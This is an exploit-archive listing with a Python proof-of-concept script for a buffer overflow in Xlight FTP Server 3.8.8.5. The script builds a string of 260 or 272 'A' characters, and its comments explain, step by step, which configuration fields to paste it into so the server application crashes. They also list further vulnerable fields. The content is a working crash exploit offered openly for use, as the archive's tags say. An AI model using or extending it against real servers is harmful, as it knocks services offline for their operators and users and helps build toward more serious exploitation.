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Xlight FTP Server 3.8.8.5 Buffer Overflow

Xlight FTP Server 3.8.8.5 Buffer Overflow
Posted Nov 13, 2017
Authored by bzyo

Xlight FTP Server version 3.8.8.5 buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | f79376c04b96ef64d71e45013448a23b12819e7f6618b4725d4b9f4c36e4b647

Xlight FTP Server 3.8.8.5 Buffer Overflow

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#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Xlight FTP Server (x86/x64) - Buffer Overflow Crash (PoC)
# Date: 07-11-2017
# Vulnerable Software: Xlight FTP Server v3.8.8.5 (x86/x64)
# Vendor Homepage: http://www.xlightftpd.com/
# Version: v3.8.8.5 (x86/x64)
# Software Link: http://www.xlightftpd.com/download/
# Tested On: Windows 7 x64
#
#
# PoC: generate crash.txt, copy contents to clipboard, paste in any of the vulnerable fields
#
# 1. Generate crash.txt, open, and copy contents to clipboard
# 2. In Xlight Server, open Global Options > Log > Session Log - Advanced Options > Setup
# 3. Select Filtering log by users > Setup
# 4. Add User
# 5. Paste crash.txt contents
# 6. Application crashes
#
# Additional vulnerable fields:
# Global Options > Log > Session Log - Advanced Options > Setup > Filtering log by groups > Setup > Add Group
# Virtual Server > Modify Virtual Server Configuration > Advanced > Misc > Execute a program after user logged in > Setup
#
#

file="crash.txt"
#file="crash64.txt"

crash = "A"*260 #crashes on 260 for x86, but more will do
#crash64 = "A"*272 #crashes on 272 for x64, but more will do

writeFile = open (file, "w")
writeFile.write( crash )
#writeFile.write( crash64 )
writeFile.close()

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